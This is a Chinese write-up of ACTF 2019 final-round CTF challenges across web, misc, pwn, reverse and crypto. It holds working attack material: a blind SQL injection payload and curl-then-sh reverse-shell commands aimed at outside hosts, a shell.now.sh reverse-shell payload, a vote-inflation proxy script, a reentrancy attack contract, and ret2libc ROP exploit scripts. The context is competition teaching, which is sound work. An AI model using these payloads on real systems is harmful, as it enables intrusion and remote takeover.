ACTF 2019 复赛 解题报告
Web
Postgres
出题人感想
这道题爆零了,真是难受,题目描述都说了flag在服务器里,怎么登录了postgres数据库就知道翻数据库,类似的题有今年*CTF 2019的mywebsql,去年南邮校赛的phpmyadmin。
像这种数据库服务,或者web框架,起码看一下当前的版本,再通过版本去搜索漏洞。
考点
PostgreSQL 高权限命令执行漏洞(CVE-2019-9193)
预备知识
解题过程
配置好连接,密码是123456(这都不尝试一下么)
查看postgres 版本,是10.7
然后搜索postgres 漏洞
CVE-2018-1058 受影响版本从 9.3 到 10 ,pass
CVE-2019-9193 受影响版本从 9.3 到 11
尝试 CVE-2019-9193 Payload,可以执行命令
拿到flag
BypassEveryday
考点
- sql注入,延时盲注,绕过
- 命令执行绕过
预备知识
其实就是初赛的时间盲注题目和different题目知识点混在一起,这道题是翔哥出的,没想到和之前出的题目知识点撞了,只好放在复赛,但做出different题目的选手没有参加复赛…
这道题其实应该有很大希望被做出来的,但校内网的题目环境当时有点问题,我背锅,还好有准备另外的题目链接,但选手好像没有在另外题目链接尝试
解题过程
登录界面处只返回语句正确或语句不正确
过滤了很多敏感函数
存在注入,使用笛卡尔积的方法达到延时的目的1
root' and ascii(substr(database(),1,1))=33 and (SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.columns C)-- +
编写脚本得到hint:c0mmand_bypass.php
存在exec函数且输入部分可控,经过addslashes和escapeshellcmd的过滤
利用find命令可以另外执行命令的特性,注意-exec要以分号为结束标志,前面需要空格,否则无法识别结束标志1
a -or -exec curl -o z 39.108.99.6/a ;
没有回显,并且经过前面的过滤,只能在自己VPS上准备反弹shell的命令并利用curl保存,然后sh执行1
a -or -exec sh z ; -quit
sqlblind.py
1 | #!/usr/bin/env python |
exp.py1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32#!/usr/bin/python2.7
#coding:utf-8
from sys import *
import requests
import re
# import hackhttp
host = argv[1]
port = int(argv[2])
timeout = 30
#在vps服务器上放置反弹shell的payload
payload1 = 'a -or -exec curl -o z 39.108.99.6/a ;'
payload2 = 'a -or -exec sh z ; -quit'
payload = [payload1,payload2]
# payload = [payload]
def getshell():
protorl = "http://"
url_path = "/c0mmand_bypass.php?action=bypass"
url = protorl+host+":"+str(port)+url_path
for i in range(0,2):
datas = {
'file':payload[i],
}
s = requests.Session()
res = s.post(url=url,data=datas,timeout=5)
# print(res.text)
if __name__ == '__main__':
getshell()
点赞 2.0
出题人感想
没想到这道题是最先被做出来,第一题反而没人做出来。
IP代理是当初想刷小黑盒优惠券弄了下,但现在的优惠券用不着刷赞
考点
IP代理和命令注入绕过
预备知识
IP代理工具:https://scylla.wildcat.io/zh/latest/
或者其它IP代理
解题过程
IP代理脚本1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29import requests
import random
import time
r = requests.session()
data={
'just':'have fun',
}
url = 'http://60.205.189.243:29016/index.php'
def get():
json_resp = requests.get('http://144.34.200.224:8899/api/v1/proxies?limit=100').json()
proxy = random.choice(json_resp['proxies'])
print (proxy['ip'])
try:
s = r.post(url,data=data,proxies={'http': 'http://{}:{}'.format(proxy['ip'], proxy['port'])},timeout=10.0)
except IOError:
print("超时")
return
else:
pass
print(s.text[700:])
time.sleep(1)
# print(s.headers)
for i in range(100):
get()
点赞后拿到一个链接,查看发现是命令执行绕过,没有禁止 | 和 & ,可以闭合双引号然后用 | 或者 & 执行命令
& 在linux里的作用是在后台执行命令
| 是管道符
我的Payload,直接反弹shell
1 | "| curl -s https://shell.now.sh/144.34.200.224:1337| /bin/sh | " |
推荐一个反弹shell工具:https://github.com/0xR0/shellver
CoCo1er 的 Payload,让 ls 在后台执行,后面的 echo 是可以去掉的
1 | " & ls & echo " |
举个例子更好理解一点
不见君 的Payload,%0a url解码后是换行符1
id=" %0a cat /fla* %0a echo "
附上命令分隔符1
2
3
4
5
6
7
8
9
10
11
12
13
14%0a 符号
换行符
%0d 符号
回车符
; 符号
表示连续指令
& 符号
表示将前一个命令设置进入后台
| 符号
管道符,将前一个命令的输出作为后一个命令的输入
&& 符号
前一个命令执行成功才会执行下一条命令
|| 符号
前一个命令执行失败才会执行下一条命令
Misc
Telnet
考点
流量包分析+Telnet协议
解题过程
既然题目都说了是telnet,给的也是数据包,那么就看看telnet的包,然后发现每个数据包都只有一个字节,那不是坑人吗。然而只要follow TCP即可看到完整的telnet交互。把每一次的交互看完,发现一共有两次成功的telnet连接。
当然,由于输入账号是有回显的,所以账号的每个字符都出现了两次,去重后两次成功连接的账号和密码如下:
账号1:csu
密码:YXVyb3JhJTdCUWEwcXJS
账号2:Z05VMUh4eTJKMyU3RA==
密码:aurora
合并账号1的密码和账号2的用户名,明显是base64编码,解密后,再url编码一下即可获得flag。
YXVyb3JhJTdCUWEwcXJSZ05VMUh4eTJKMyU3RA==
replay
考点
智能合约重入攻击
解题过程
该题在看完后,发现是重入攻击的漏洞,漏洞详情请看:https://lalajun.github.io/2018/08/29/%E6%99%BA%E8%83%BD%E5%90%88%E7%BA%A6%E5%AE%89%E5%85%A8-%E9%87%8D%E5%85%A5%E6%94%BB%E5%87%BB/
关键函数为以下:
1 | function withdraw(address to) public { |
该函数在修改完余额的记录(balances[msg.sender] += 1; )之后,就立马返回了value(address(to).call.value(1)(“”);),然后才去修改次数的记录(times[msg.sender] += 1),这就导致了重入攻击。
然而这题需要构建一个合约来和目标合约进行交互。攻击合约如下:
1 | contract Attack { |
前置步骤查看solidity-overflow。
首先是部署合约,然后再setVictim一栏输入受攻击合约的地址:0x73863d455bfdb9732924efd021934b205fbd2c5c,点击setVictim。
然后点击step1,这里要对gas进行修改,点击GAS-FEE的EDIT(解释一下该步骤的原因,由于区块链的原因,所以智能合约每个步骤实际上都要缴费的,而GAS就是费用,一般会自动设置好的。但是本次攻击为重入攻击,所以实际上会有多次合约之间的交互,而默认设置的GAS是不足够的,不修改这里那就只会触发前几次的重入攻击,之后费用耗尽,就无法再次触发了)
修改如下图,点保存,允许交易。
这时候等待该交易的完成,然后点击该交易的地址。
点击上面的internal Transaction,若是能看到一大串的函数调用成功,则本次攻击成功。
最后只需要触发getflag函数即可。
magic_ball
magic_ball
考点
信息论
解题过程
这里有exp思路,具体的证明过程在里面提到的论文里。
正解是每次都要称n/3个球,这样才能获得最大的信息。
这里放一份可以用的exp
1 | from pwn import * |
Pwn
一拳一个复读机
考点
简单ROP
解题过程
repeat()源码如下:1
2
3
4
5
6void repeater() {
printf("Input> ");
char buf[40];
read(0, buf, 0x40);
puts(buf);
}
exp如下:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31from pwn import *
io = process('OnePunchPerRepeater')
elf = ELF('OnePunchPerRepeater')
vul_func = 0x80486aa
puts_plt = elf.symbols['puts']
puts_got = elf.got['puts']
io.recvuntil('2) Exit\n')
io.sendline('1')
io.recvuntil('Input> ')
payload = 0x2c * 'a' + p32(puts_plt) + p32(vul_func) + p32(puts_got)
io.send(payload)
io.recvuntil('\n')
puts_addr = u32(io.recv(4))
print 'puts address is ' + hex(puts_addr)
puts_offset = 0x5fca0 # Get libc version according to leak address, then get function offset
system_offset = 0x3ada0
binsh_offset = 0x15ba0b
libc_addr = puts_addr - puts_offset
system_addr = libc_addr + system_offset
binsh_addr = libc_addr + binsh_offset
payload = 0x2c * 'a' + p32(system_addr) + p32(0xdeadbeef) + p32(binsh_addr)
io.recvuntil('Input> ')
io.send(payload)
io.recvuntil('\n')
io.interactive()
article
考点
覆写__stack_chk_fail
绕过canary
解题过程
程序可以溢出,且有足够的空间布置参数,但是需要绕过canary。
此处存在任意地址写:
sub_8048723
是一个字符串复制函数,以\0
作为截止,且不会复制\0
。v19
在s
的栈位置的下方,可以被s
通过局部溢出覆写
由于程序是Partial RELRO
,所以可以通过这个任意地址写,将GOT表中的__stack_chk_fail
的内容改为任意一个ret
的地址,这时候就算触发了canary检查,调用了__stack_chk_fail
函数,也只会执行一个ret
就直接返回,没有任何影响。
剩下的就是正常ROP就行了,但是要注意,所有的变量都在s
栈的下方,所以溢出的时候要特别注意不能把其他关键变量给破坏了,特别是循环控制变量和循环边界变量。
exp:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39from pwn import *
from LibcSearcher import LibcSearcher
io = process('article')
#io = remote('202.197.58.168', 33471)
#io = remote('149.129.67.142', 33471)
elf = ELF('article')
ret = 0x80488ef
write_article = 0x8048786
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
io.recvuntil('(less than 10)\n')
io.sendline('2')
io.recvuntil('63 chars\n')
payload = p32(ret) + 0xc * '\x00' + p32(2) + p32(0) + p32(elf.got['__stack_chk_fail'])
io.send(payload)
io.recvuntil('63 chars\n')
payload = 0x10 * 'a' + p32(2) + p32(1) + p32(0x804a0c0) + 0x10 * 'a' + p32(puts_plt) + p32(write_article) + p32(puts_got)
io.send(payload)
puts_addr = u32(io.recv(4))
print 'function puts address: ' + hex(puts_addr)
# Get libc version according to leak address, then get function offset
libcsearch = LibcSearcher('puts', puts_addr)
libcbase = puts_addr - libcsearch.dump('puts')
system_addr = libcbase + libcsearch.dump('system')
binsh_addr = libcbase + libcsearch.dump('str_bin_sh')
io.recvuntil('(less than 10)\n')
io.sendline('1')
io.recvuntil('63 chars\n')
payload = 0x10 * 'a' + p32(1) + p32(0) + p32(0x804a080) + 0x10 * 'a' + p32(system_addr) + p32(0xdeadbeef) + p32(binsh_addr)
io.send(payload)
io.interactive()
Bucket List
1 | #!/usr/bin/env python |
Reverse
find
考点
符号扩展和零扩展的区别
解题过程
题目将正确的flag索引设置成了char
类型,查表的过程则是每一步将索引数组累加的值作为这一步的表下标:
1 | next_skip = -107;//char next_skip; |
在累加前,获取当前这一步的索引数组值,也就是skip = next_skip;
时,由于索引数组值是char
类型,赋值给一个int
型值的时候会进行扩展,汇编层面上的指令是movsx
(符号扩展)。这就造成了在累加时产生一个错误的结果,导致输出的不是正确的flag。解题的话需要看懂描述部分给出的关于符号扩展的提示,将源程序的movsx
改成movzx
,就能输出正确的flag;也可以照着IDA反编译出来的代码写出来之后将skip
定义为unsigned int
类型,运行得到flag。
flag: aurora{Y0v_g3t_1t}
ArithmeticCoding
解题过程
APK文件,安卓逆向,用JEB打开,从LoginActivity开始看:
email值为”aurora”,password长度为10。
继续往下看:
跟进:
发现找到关键函数check()
只要加密结果为0.590126就可以,查看加密函数:
分析代码,加上题目名为ArithmeticCoding,判断是熵编码中的算术编码,首先要找到码元和频率:
发现代码中有查询数据库操作,查看MyOpenHelper,发现有码元和对应的区间:
码元为:e,o,r,s
对应频率为:0.3,0.2,0.2,0.3
解码0.590126:roserosese
得到flag为:aurora{roserosese}
math
考点
符号执行、angr使用
预备知识
符号执行是一个重要的自动化软件分析技术,常用于软件测试中,它的基本思想是,将输入符号化,用一个抽象的符号代替实际的输入,从而能最大程度地遍历程序所有可能的路径,每个路径可以用一组约束表达式唯一表示,对某个路径的约束表达式进行符号求解,那么当输入为这组解的时候,就一定会走这条路径。
这个在CTF中非常有用,当我们指定求解走向flag正确的那条路径的时候,求解出来的输入就是flag,我们就不必要去人工地逆向繁杂的约束条件,从而实现自动化分析。
举个例子,假设有以下程序片段:1
2
3
4
5
6
7
8
9
10
11scanf("%d", &a);
if (a > 5) {
printf("flag is wrong");
exit(0);
}
else if (a < 3) {
printf("flag is wrong");
exit(0);
}
else
printf("flag is right");
若我们将该程序片段的控制流图画出来,大概是这样:
总共有三条路径,先将输入a符号化,符号执行会模拟执行所有的路径,得到每个路径对应的约束条件,然后我们选择求解flag正确的那条路径,就能得到约束解3 <= a <= 5
,那么输入满足这个约束解的所有值,比如3,4,5,都能使程序走向flag正确的路径。
看似符号执行这种自动化分析方法似乎能解决所有CTF逆向问题,其实不然,符号执行不是万能的,理想和现实还有很大的差距。符号执行这种方法几十年前就已经提出了,但却依然没能广泛应用,原因就在于它无法很好地解决路径爆炸的问题。循环和递归最容易出现路径爆炸,以循环为例,单轮循环结束后会产生两条路径:跳出循环、不跳出循环,如果跳出循环后程序马上就结束了那就还好,路径复杂度大约只是$O(2n)$,类似效果图如图所示:
如果跳出循环后还有一大堆代码的话,路径复杂度就是呈指数增长了,如图所示:
递归同理。目前没有一个很好的方式解决这个问题,一般来说,我们可以通过路径剪枝来减少路径,但这样做势必降低代码覆盖率,导致分析出现遗漏,不过有时候,当自己确定某些路径不需要分析的时候,可以通过增加路径约束条件对路径剪枝。还有一种方法就是,借助人工分析,将一些循环和递归结构打上钩子,写一段模拟过程代替这段循环或递归结构,之所以能这样做,是因为符号执行本身就是模拟执行,根据人工分析自己写一段模拟过程去代替实际程序并无问题,但这种方法需要人工介入,如果程序大量出现循环和递归结构,则会使人工介入得太多,失去了符号执行本身的意义。
因此,想完全依靠符号执行进行全自动化分析还有很长的路要走,如果你能够发现一种方法,能很好解决路径剪枝和代码覆盖率,自动分析和人工介入这两对矛盾的话,请速发论文,绝对轰动学界。
回到CTF逆向来说,一般符合这两个条件的题目可以考虑用符号执行解决:
- 约束类问题,flag通过大量约束条件约束,人工分析太困难,甚至把约束式输入进z3求解器都困难
- 循环和递归结构极少,余下的循环或递归方便通过模拟过程将其代替
如果循环或递归结构多,但是又存在约束类问题的时候,我们不妨降低要求,只符号执行约束类部分,其他部分还是用传统方法解决。
解题过程
此题的逆向分析难度不大,很容易看出有500个约束式约束16个未知数,这16个未知数的ASCII码组合起来即是flag。500个约束式约束16个未知数那么必然只有16个是真实约束式,剩下484个都是冗余约束式,问题在于16个真实约束式是随机分布的,很难肉眼看出哪些是真实约束式。
一个很直接的想法是IDA反编译F5后,写一个字符串处理脚本把参数扒下来,然后整理到z3求解器中去求解,但是F5后的结果不完全规则,存在很多需要手工处理的地方:
除非编程能力很强,对编程语言的操作很熟练,否则在复赛限时的条件下,做该题的机会成本将大于收益。如果我们思考一下,这些约束条件能不能通过什么技术自动化地跑出来,就可以想到用符号执行来解决,符号执行的方法远好过字符串处理的方法。本题是符号执行中最简单的情景,没有一个循环,钩子都不需要打,只需要将16个变量符号化,然后选择走输出Good Job
的路径,求解约束即可得到结果。
本题使用angr解决,适用于最新的angr 8,搭配Python 31
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30import angr
import claripy
import time
print('Begin at ' + time.strftime('%Y-%m-%d %H:%M:%S',time.localtime(time.time())))
p = angr.Project('math.exe')
state = p.factory.blank_state(addr = 0x4016ae, add_options={angr.options.LAZY_SOLVES})
num = [claripy.BVS('num' + str(i), 32) for i in range(16)]
for i in range(16):
state.memory.store(0x424440 + 4 * i, num[i], endness = p.arch.memory_endness)
sim = p.factory.simgr(state)
sim.explore(find=0x41f084, avoid=0x40167a)
if sim.found:
print('\nResult Found! Now Solving Constraints ...\n')
result = sim.found[0]
num_result = []
print('The number is:\n')
for i in range(16):
temp = result.solver.eval(num[i])
num_result.append(temp % 256)
print(temp % 256)
flag = 'aurora{'
num_result = [chr(i) for i in num_result]
flag += ''.join(num_result)
flag += '}'
print('Flag is ' + flag)
print('End at ' + time.strftime('%Y-%m-%d %H:%M:%S',time.localtime(time.time())))
本题的源代码是自动化生成的,500个约束式不是我手动打进去的,我设计了题目生成脚本,可以做到一人一题,甚至稍加改造可以做到一人一flag。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83import random
RedundantNum = 484
inner_flag = 'Sym60l1c_Ex3c_8d' #flag长度必须大于10,但考虑到求解复杂度,不宜超过20
def printConstraint(paraList, length):
paraChar = [str(i) for i in paraList]
f.write(' if((%s)*number[0]+' % (paraChar[0]))
for i in range(1, length - 1):
f.write('(%s)*number[%d]+' % (paraChar[i], i))
f.write('(%s)*number[%d] != %s)\n' % (paraChar[length - 1], length - 1, paraChar[length]))
f.write(' wrong();\n')
RedundantListArray = []
TrueListArray = []
TrueNumber = [ord(i) for i in inner_flag]
multiarray = [-4, -3, -2, 2, 3, 4]
print 'True Number is:\n'
print TrueNumber
print 'True List Array is:\n'
for i in range(len(TrueNumber)):
temp = []
sum = 0
for j in range(len(TrueNumber)):
n = 0
while n == 0:
n = random.randint(-10, 10)
temp.append(n)
sum += n * TrueNumber[j]
temp.append(sum)
TrueListArray.append(temp)
print temp
print '\nRedundant List Array is:\n'
True2Redundant = random.sample(TrueListArray, 10)
for i in range(10):
for j in multiarray:
temp = True2Redundant[i]
temp = [(j * k) for k in temp]
RedundantListArray.append(temp)
print temp
TrueListSequence = [i for i in range(len(TrueNumber) + RedundantNum)]
TrueListSequence = random.sample(TrueListSequence, len(TrueNumber))
print '\nTrue List Sequence is:\n'
print TrueListSequence
f = open('math.c', 'w')
f.write('#include <stdio.h>\n')
f.write('#include <stdlib.h>\n')
f.write('int number[%d];\n' % (len(TrueNumber)))
f.write('void inputnumber() {\n')
f.write(' for(int i=0; i<%d; i++) {\n' % (len(TrueNumber)))
f.write(' printf("Num[%d]: ", i);\n')
f.write(' scanf("%d", number+i);\n')
f.write(' }\n')
f.write('}\n')
f.write('void wrong(){\n')
f.write(' printf("You are wrong.\\n");\n')
f.write(' exit(0);\n')
f.write('}\n')
f.write('int main() {\n')
f.write(' inputnumber();\n')
n = 0
for i in range(len(TrueNumber) + RedundantNum):
if i in TrueListSequence:
printConstraint(TrueListArray[n], len(TrueNumber))
n += 1
else:
temp = random.sample(RedundantListArray, 1)
printConstraint(temp[0], len(TrueNumber))
f.write(' printf("Good Job\\nThe flag is aurora{')
for i in range(len(TrueNumber)):
f.write('%c')
f.write('}"')
for i in range(len(TrueNumber)):
f.write(', number[%d]' % (i))
f.write(');\n')
f.write(' return 0;\n')
f.write('}')
生成出来的math.c
直接编译即可。
Crypto
Cipher_on_the_hill
考点
hill cipher, module inverse matrix
解题过程
希尔密码不抗明文攻击,所以只需要根据已经有的明文密文对来尝试找出密钥即可。
但是运算量是不小的,其实性价比不高
naive_RSA1
考点
简单数学
解题过程
$$m’ = m\times a$$
$$m’^3≡m^3\times a^3\mod n$$
而 a 已知,所以$d=a^{-1}\mod n$已知
$$c\times d^3 ≡ m^3\mod n$$
然后开三次方即可
1 | from Crypto.Util.number import long_to_bytes, bytes_to_long |
Oracle_Lab1
考点
RC4 one byte bias
预备知识
https://www.rc4nomore.com/
https://cryptopals.com/sets/7/challenges/56
解题过程
1 | #!/usr/bin/env python2.7 |